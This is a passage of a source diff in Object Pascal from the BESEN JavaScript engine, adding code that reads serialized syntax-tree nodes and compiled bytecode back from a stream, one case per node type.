TBESENASTNodeFunctionBody(result).Variables[Counter]:=TBESENASTNodeIdentifier(ReadNode); + end; + SetLength(TBESENASTNodeFunctionBody(result).Parameters,ReadInt32); + for Counter:=0 to length(TBESENASTNodeFunctionBody(result).Parameters)-1 do begin + TBESENASTNodeFunctionBody(result).Parameters[Counter]:=TBESENASTNodeIdentifier(ReadNode); + end; + SetLength(TBESENASTNodeFunctionBody(result).Functions,ReadInt32); + for Counter:=0 to length(TBESENASTNodeFunctionBody(result).Functions)-1 do begin + TBESENASTNodeFunctionBody(result).Functions[Counter]:=TBESENASTNodeStatement(ReadNode); + end; + SetLength(TBESENASTNodeFunctionBody(result).Statements,ReadInt32); + for Counter:=0 to length(TBESENASTNodeFunctionBody(result).Statements)-1 do begin + TBESENASTNodeFunctionBody(result).Statements[Counter]:=TBESENASTNodeStatement(ReadNode); + end; + if ReadBool then begin + Code:=TBESENCode(TBESENASTNodeFunctionBody(result).Code); + Code.Body:=TBESENASTNodeFunctionBody(ReadNode); + Code.MaxRegisters:=ReadInt32; + Code.MaxBlock:=ReadInt32; + Code.MaxParamArgs:=ReadInt32; + Code.MaxLoop:=ReadInt32; + Code.HasLocalDelete:=ReadBool; + Code.IsComplexFunction:=ReadBool; + Code.HasMaybeDirectEval:=ReadBool; + Code.HoldLocalVariablesInRegisters:=ReadBool; + Code.CountFunctionLiteralContainers:=ReadInt32; + SetLength(Code.FunctionLiteralContainers,Code.CountFunctionLiteralContainers); + for Counter:=0 to Code.CountFunctionLiteralContainers-1 do begin + FunctionLiteral:=TBESENASTNodeFunctionLiteral(ReadNode); + if assigned(FunctionLiteral) then begin + if not assigned(FunctionLiteral.Container) then begin + FunctionLiteral.Container:=TBESENFunctionLiteralContainer.Create(Instance); + FunctionLiteral.Container.Literal:=FunctionLiteral; + end; + Code.FunctionLiteralContainers[Counter]:=FunctionLiteral.Container; + end else begin + Code.FunctionLiteralContainers[Counter]:=nil; + end; + end; + Code.CountLiterals:=ReadInt32; + SetLength(Code.Literals,Code.CountLiterals); + for Counter:=0 to Code.CountLiterals-1 do begin + v:=@Code.Literals[Counter]; + v^.ValueType:=ReadByte; + case v^.ValueType of + bvtNONE:begin + end; + bvtUNDEFINED:begin + end; + bvtNULL:begin + end; + bvtBOOLEAN:begin + v^.Bool:=ReadBool; + end; + bvtNUMBER:begin + v^.Num:=ReadDouble; + end; + bvtSTRING:begin + v^.Str:=ReadWideString; + end; + else begin + BESENThrowStream('Couldn''t read value'); + end; + end; + end; + Code.CountLocations:=ReadInt32; + SetLength(Code.Locations,Code.CountLocations); + for Counter:=0 to Code.CountLocations-1 do begin + Code.Locations[Counter].LineNumber:=ReadInt32; + end; + Code.CountVariables:=ReadInt32; + SetLength(Code.Variables,Code.CountVariables); + for Counter:=0 to Code.CountVariables-1 do begin + Code.Variables[Counter].Name:=ReadWideString; + Code.Variables[Counter].IsParameter:=ReadBool; + Code.Variables[Counter].ParameterIndex:=ReadInt32; + end; + Code.CountPolymorphicInlineCacheInstructions:=ReadInt32; + k:=ReadInt32; + Code.LookupNames.Clear; + for Counter:=0 to k-1 do begin + Code.LookupNames.Add(ReadWideString); + end; + Code.ByteCodeLen:=ReadInt32; + SetLength(Code.ByteCode,Code.ByteCodeLen); + if Code.ByteCodeLen>0 then begin + if Stream.Read(Code.ByteCode[0],Code.ByteCodeLen*sizeof(TBESENUINT32))<>(Code.ByteCodeLen*sizeof(TBESENUINT32)) then begin + BESENThrowStream('Couldn''t read byte code'); + end; + i:=0; + while i<Code.ByteCodeLen do begin + j:=i; + inc(i,1+((Code.ByteCode[i] shr 8) and $ffffff)); + case Code.ByteCode[j] and $ff of + bopREF:begin + k:=Code.ByteCode[j+4]; + if (k>=0) and (k<length(LoadedKeyManagerIDs)) then begin + k:=LoadedKeyManagerIDs[k].ID; + end; + Code.ByteCode[j+4]:=k; + end; + end; + end; + end; + Code.Finish; + end; + end; + bntFUNCTIONLITERAL:begin + result:=CreateNode(TBESENASTNodeFunctionLiteral); + TBESENASTNodeFunctionLiteral(result).Name:=TBESENASTNodeIdentifier(ReadNode); + FunctionLiteral:=TBESENASTNodeFunctionLiteral(ReadNode); + if assigned(FunctionLiteral) then begin + if not assigned(FunctionLiteral.Container) then begin + FunctionLiteral.Container:=TBESENFunctionLiteralContainer.Create(Instance); + FunctionLiteral.Container.Literal:=FunctionLiteral; + end; + TBESENASTNodeFunctionLiteral(result).Container:=FunctionLiteral.Container; + end else begin + TBESENASTNodeFunctionLiteral(result).Container:=nil; + end; + TBESENASTNodeFunctionLiteral(result).Index:=ReadInt32; + TBESENASTNodeFunctionLiteral(result).Body:=TBESENASTNodeFunctionBody(ReadNode); + end; + bntSTATEMENT:begin + result:=CreateNode(TBESENASTNodeStatement); + end; + bntVARIABLESTATEMENT:begin + result:=CreateNode(TBESENASTNodeVariableStatement); + SetLength(TBESENASTNodeVariableStatement(result).Declarations,ReadInt32); + for Counter:=0 to length(TBESENASTNodeVariableStatement(result).Declarations)-1 do begin + TBESENASTNodeVariableStatement(result).Declarations[Counter]:=TBESENASTNodeVariableDeclaration(ReadNode); + end; + end; + bntFUNCTIONDECLARATION:begin + result:=CreateNode(TBESENASTNodeFunctionDeclaration); + if ReadBool then begin + FunctionLiteral:=TBESENASTNodeFunctionLiteral(ReadNode); + if assigned(FunctionLiteral) then begin + if not assigned(FunctionLiteral.Container) then begin + FunctionLiteral.Container:=TBESENFunctionLiteralContainer.Create(Instance); + FunctionLiteral.Container.Literal:=FunctionLiteral; + end; + TBESENASTNodeFunctionDeclaration(result).Container:=FunctionLiteral.Container; + end else begin + TBESENASTNodeFunctionDeclaration(result).Container:=nil; + end; + end else begin + TBESENASTNodeFunctionDeclaration(result).Container:=nil; + end; + end; + bntEXPRESSIONSTATEMENT:begin + result:=CreateNode(TBESENASTNodeExpressionStatement); + TBESENASTNodeExpressionStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + end; + bntEMPTYSTATEMENT:begin + result:=CreateNode(TBESENASTNodeEmptyStatement); + end; + bntBLOCKSTATEMENT:begin + result:=CreateNode(TBESENASTNodeBlockStatement); + SetLength(TBESENASTNodeBlockStatement(result).Statements,ReadInt32); + for Counter:=0 to length(TBESENASTNodeBlockStatement(result).Statements)-1 do begin + TBESENASTNodeBlockStatement(result).Statements[Counter]:=TBESENASTNodeStatement(ReadNode); + end; + end; + bntDEBUGGERSTATEMENT:begin + result:=CreateNode(TBESENASTNodeDebuggerStatement); + end; + bntBREAKSTATEMENT:begin + result:=CreateNode(TBESENASTNodeBreakStatement); + TBESENASTNodeBreakStatement(result).Identifier:=TBESENASTNodeIdentifier(ReadNode); + end; + bntCONTINUESTATEMENT:begin + result:=CreateNode(TBESENASTNodeContinueStatement); + TBESENASTNodeContinueStatement(result).Identifier:=TBESENASTNodeIdentifier(ReadNode); + end; + bntDOSTATEMENT:begin + result:=CreateNode(TBESENASTNodeDoStatement); + TBESENASTNodeDoStatement(result).Statement:=TBESENASTNodeStatement(ReadNode); + TBESENASTNodeDoStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + end; + bntWHILESTATEMENT:begin + result:=CreateNode(TBESENASTNodeWhileStatement); + TBESENASTNodeWhileStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeWhileStatement(result).Statement:=TBESENASTNodeStatement(ReadNode); + end; + bntWITHSTATEMENT:begin + result:=CreateNode(TBESENASTNodeWithStatement); + TBESENASTNodeWithStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeWithStatement(result).Statement:=TBESENASTNodeStatement(ReadNode); + end; + bntFORSTATEMENT:begin + result:=CreateNode(TBESENASTNodeForStatement); + TBESENASTNodeForStatement(result).Initial:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeForStatement(result).Condition:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeForStatement(result).Increment:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeForStatement(result).Statement:=TBESENASTNodeStatement(ReadNode); + end; + bntFORINSTATEMENT:begin + result:=CreateNode(TBESENASTNodeForInStatement); + TBESENASTNodeForInStatement(result).Variable:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeForInStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeForInStatement(result).Statement:=TBESENASTNodeStatement(ReadNode); + end; + bntIFSTATEMENT:begin + result:=CreateNode(TBESENASTNodeIfStatement); + TBESENASTNodeIfStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeIfStatement(result).TrueStatement:=TBESENASTNodeStatement(ReadNode); + TBESENASTNodeIfStatement(result).FalseStatement:=TBESENASTNodeStatement(ReadNode); + end; + bntLABELLEDSTATEMENT:begin + result:=CreateNode(TBESENASTNodeLabelledStatement); + SetLength(TBESENASTNodeLabelledStatement(result).Identifiers,ReadInt32); + for Counter:=0 to length(TBESENASTNodeLabelledStatement(result).Identifiers)-1 do begin + TBESENASTNodeLabelledStatement(result).Identifiers[Counter]:=TBESENASTNodeIdentifier(ReadNode); + end; + TBESENASTNodeLabelledStatement(result).Statement:=TBESENASTNodeStatement(ReadNode); + end; + bntCASESTATEMENT:begin + result:=CreateNode(TBESENASTNodeCaseStatement); + TBESENASTNodeCaseStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + SetLength(TBESENASTNodeCaseStatement(result).Statements,ReadInt32); + for Counter:=0 to length(TBESENASTNodeCaseStatement(result).Statements)-1 do begin + TBESENASTNodeCaseStatement(result).Statements[Counter]:=TBESENASTNodeStatement(ReadNode); + end; + end; + bntSWITCHSTATEMENT:begin + result:=CreateNode(TBESENASTNodeSwitchStatement); + TBESENASTNodeSwitchStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + SetLength(TBESENASTNodeSwitchStatement(result).CaseStatements,ReadInt32); + for Counter:=0 to length(TBESENASTNodeSwitchStatement(result).CaseStatements)-1 do begin + TBESENASTNodeSwitchStatement(result).CaseStatements[Counter]:=TBESENASTNodeCaseStatement(ReadNode); + end; + end; + bntTHROWSTATEMENT:begin + result:=CreateNode(TBESENASTNodeThrowStatement); + TBESENASTNodeThrowStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + end; + bntTRYSTATEMENT:begin + result:=CreateNode(TBESENASTNodeTryStatement); + TBESENASTNodeTryStatement(result).TryBlock:=TBESENASTNodeBlockStatement(ReadNode); + TBESENASTNodeTryStatement(result).CatchIdentifier:=TBESENASTNodeIdentifier(ReadNode); + TBESENASTNodeTryStatement(result).CatchBlock:=TBESENASTNodeBlockStatement(ReadNode); + TBESENASTNodeTryStatement(result).FinallyBlock:=TBESENASTNodeBlockStatement(ReadNode); + end; + bntARRAYLITERAL:begin + result:=CreateNode(TBESENASTNodeArrayLiteral); + SetLength(TBESENASTNodeArrayLiteral(result).Elements,ReadInt32); + for Counter:=0 to length(TBESENASTNodeArrayLiteral(result).Elements)-1 do begin + TBESENASTNodeArrayLiteral(result).Elements[Counter]:=TBESENASTNodeExpression(ReadNode); + end; + end; + bntBINARYEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryExpression); + TBESENASTNodeBinaryExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentExpression); + TBESENASTNodeAssignmentExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentOperatorExpression); + TBESENASTNodeAssignmentOperatorExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentOperatorExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentMultiplyExpression); + TBESENASTNodeAssignmentMultiplyExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentMultiplyExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentDivideExpression); + TBESENASTNodeAssignmentDivideExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentDivideExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTMODULOEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentModuloExpression); + TBESENASTNodeAssignmentModuloExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentModuloExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTPLUSEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentPlusExpression); + TBESENASTNodeAssignmentPlusExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentPlusExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTMINUSEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentMinusExpression); + TBESENASTNodeAssignmentMinusExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentMinusExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentShiftLeftExpression); + TBESENASTNodeAssignmentShiftLeftExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentShiftLeftExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentShiftRightExpression); + TBESENASTNodeAssignmentShiftRightExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentShiftRightExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentShiftRightUnsignedExpression); + TBESENASTNodeAssignmentShiftRightUnsignedExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentShiftRightUnsignedExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentBitwiseAndExpression); + TBESENASTNodeAssignmentBitwiseAndExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentBitwiseAndExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentBitwiseXorExpression); + TBESENASTNodeAssignmentBitwiseXorExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentBitwiseXorExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeAssignmentBitwiseOrExpression); + TBESENASTNodeAssignmentBitwiseOrExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeAssignmentBitwiseOrExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYOPERATOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryOperatorExpression); + TBESENASTNodeBinaryOperatorExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryOperatorExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYCOMMAEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryCommaExpression); + TBESENASTNodeBinaryCommaExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryCommaExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYDIVIDEEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryDivideExpression); + TBESENASTNodeBinaryDivideExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryDivideExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYMODULOEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryModuloExpression); + TBESENASTNodeBinaryModuloExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryModuloExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYMULTIPLYEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryMultiplyExpression); + TBESENASTNodeBinaryMultiplyExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryMultiplyExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYPLUSEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryPlusExpression); + TBESENASTNodeBinaryPlusExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryPlusExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYMINUSEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryMinusExpression); + TBESENASTNodeBinaryMinusExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryMinusExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryShiftLeftExpression); + TBESENASTNodeBinaryShiftLeftExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryShiftLeftExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryShiftRightExpression); + TBESENASTNodeBinaryShiftRightExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryShiftRightExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryShiftRightUnsignedExpression); + TBESENASTNodeBinaryShiftRightUnsignedExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryShiftRightUnsignedExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYGREATERTHANEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryGreaterThanExpression); + TBESENASTNodeBinaryGreaterThanExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryGreaterThanExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryGreaterThanOrEqualExpression); + TBESENASTNodeBinaryGreaterThanOrEqualExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryGreaterThanOrEqualExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYLESSTHANEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryLessThanExpression); + TBESENASTNodeBinaryLessThanExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryLessThanExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryLessThanOrEqualExpression); + TBESENASTNodeBinaryLessThanOrEqualExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryLessThanOrEqualExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYINSTANCEOFEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryInstanceOfExpression); + TBESENASTNodeBinaryInstanceOfExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryInstanceOfExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYINEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryInExpression); + TBESENASTNodeBinaryInExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryInExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYEQUALEQUALEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryEqualEqualExpression); + TBESENASTNodeBinaryEqualEqualExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryEqualEqualExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryEqualEqualEqualExpression); + TBESENASTNodeBinaryEqualEqualEqualExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryEqualEqualEqualExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYNOTEQUALEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryNotEqualExpression); + TBESENASTNodeBinaryNotEqualExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryNotEqualExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryNotEqualEqualExpression); + TBESENASTNodeBinaryNotEqualEqualExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryNotEqualEqualExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYBITWISEANDEXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryBitwiseAndExpression); + TBESENASTNodeBinaryBitwiseAndExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryBitwiseAndExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYBITWISEXOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryBitwiseXorExpression); + TBESENASTNodeBinaryBitwiseXorExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryBitwiseXorExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBINARYBITWISEOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeBinaryBitwiseOrExpression); + TBESENASTNodeBinaryBitwiseOrExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeBinaryBitwiseOrExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntBOOLEANLITERAL:begin + result:=CreateNode(TBESENASTNodeBooleanLiteral); + TBESENASTNodeBooleanLiteral(result).Value:=ReadBool; + end; + bntCALLEXPRESSION:begin + result:=CreateNode(TBESENASTNodeCallExpression); + TBESENASTNodeCallExpression(result).TheFunction:=TBESENASTNodeExpression(ReadNode); + SetLength(TBESENASTNodeCallExpression(result).Arguments,ReadInt32); + for Counter:=0 to length(TBESENASTNodeCallExpression(result).Arguments)-1 do begin + TBESENASTNodeCallExpression(result).Arguments[Counter]:=TBESENASTNodeExpression(ReadNode); + end; + end; + bntNEWEXPRESSION:begin + result:=CreateNode(TBESENASTNodeNewExpression); + TBESENASTNodeNewExpression(result).TheFunction:=TBESENASTNodeExpression(ReadNode); + SetLength(TBESENASTNodeNewExpression(result).Arguments,ReadInt32); + for Counter:=0 to length(TBESENASTNodeNewExpression(result).Arguments)-1 do begin + TBESENASTNodeNewExpression(result).Arguments[Counter]:=TBESENASTNodeExpression(ReadNode); + end; + end; + bntCONDITIONALEXPRESSION:begin + result:=CreateNode(TBESENASTNodeConditionalExpression); + TBESENASTNodeConditionalExpression(result).Expression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeConditionalExpression(result).TrueExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeConditionalExpression(result).FalseExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYEXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryExpression); + TBESENASTNodeUnaryExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYOPERATOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryOperatorExpression); + TBESENASTNodeUnaryOperatorExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYPLUSEXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryPlusExpression); + TBESENASTNodeUnaryPlusExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYMINUSEXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryMinusExpression); + TBESENASTNodeUnaryMinusExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYBITWISENOTEXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryBitwiseNotExpression); + TBESENASTNodeUnaryBitwiseNotExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYLOGICALNOTEXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryLogicalNotExpression); + TBESENASTNodeUnaryLogicalNotExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYVOIDEXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryVoidExpression); + TBESENASTNodeUnaryVoidExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntUNARYTYPEOFEXPRESSION:begin + result:=CreateNode(TBESENASTNodeUnaryTypeOfExpression); + TBESENASTNodeUnaryTypeOfExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntPROPERTYEXPRESSION:begin + result:=CreateNode(TBESENASTNodePropertyExpression); + TBESENASTNodePropertyExpression(result).Dot:=ReadBool; + TBESENASTNodePropertyExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodePropertyExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntLOGICALANDEXPRESSION:begin + result:=CreateNode(TBESENASTNodeLogicalAndExpression); + TBESENASTNodeLogicalAndExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeLogicalAndExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntLOGICALOREXPRESSION:begin + result:=CreateNode(TBESENASTNodeLogicalOrExpression); + TBESENASTNodeLogicalOrExpression(result).LeftExpression:=TBESENASTNodeExpression(ReadNode); + TBESENASTNodeLogicalOrExpression(result).RightExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntDELETEEXPRESSION:begin + result:=CreateNode(TBESENASTNodeDeleteExpression); + TBESENASTNodeDeleteExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntPOSTFIXINCEXPRESSION:begin + result:=CreateNode(TBESENASTNodePostfixIncExpression); + TBESENASTNodePostfixIncExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntPOSTFIXDECEXPRESSION:begin + result:=CreateNode(TBESENASTNodePostfixDecExpression); + TBESENASTNodePostfixDecExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntPREFIXINCEXPRESSION:begin + result:=CreateNode(TBESENASTNodePrefixIncExpression); + TBESENASTNodePrefixIncExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntPREFIXDECEXPRESSION:begin + result:=CreateNode(TBESENASTNodePrefixDecExpression); + TBESENASTNodePrefixDecExpression(result).SubExpression:=TBESENASTNodeExpression(ReadNode); + end; + bntNULLLITERAL:begin + end; + bntNUMBERLITERAL:begin + result:=CreateNode(TBESENASTNodeNumberLiteral); + TBESENASTNodeNumberLiteral(result).Value:=ReadDouble; + end; + bntREGEXPLITERAL:begin + result:=CreateNode(TBESENASTNodeRegExpLiteral); + TBESENASTNodeRegExpLiteral(result).Source:=ReadWideString; + TBESENASTNodeRegExpLiteral(result).Flags:=ReadWideString; + end; + bntSTRINGLITERAL:begin + result:=CreateNode(TBESENASTNodeStringLiteral); + TBESENASTNodeStringLiteral(result).Value:=ReadWideString; + end; + bntTHISLITERAL:begin + result:=CreateNode(TBESENASTNodeThisLiteral); + end; + bntOBJECTLITERALPROPERTY:begin + result:=CreateNode(TBESENASTNodeObjectLiteralProperty); + TBESENASTNodeObjectLiteralProperty(result).Name:=ReadWideString; + TBESENASTNodeObjectLiteralProperty(result).PropertyType:=TBESENASTNodeObjectLiteralPropertyType(ReadInt32); + TBESENASTNodeObjectLiteralProperty(result).PropertyAccessorType:=TBESENASTNodeObjectLiteralPropertyAccessorType(ReadInt32); + TBESENASTNodeObjectLiteralProperty(result).Value:=TBESENASTNodeExpression(ReadNode); + if ReadBool then begin + FunctionLiteral:=TBESENASTNodeFunctionLiteral(ReadNode); + if assigned(FunctionLiteral) then begin + if not assigned(FunctionLiteral.Container) then begin + FunctionLiteral.Container:=TBESENFunctionLiteralContainer.Create(Instance); + FunctionLiteral.Container.Literal:=FunctionLiteral; + end; + TBESENASTNodeObjectLiteralProperty(result).Container:=FunctionLiteral.Container; + end else begin + TBESENASTNodeObjectLiteralProperty(result).Container:=nil; + end; + end else begin + 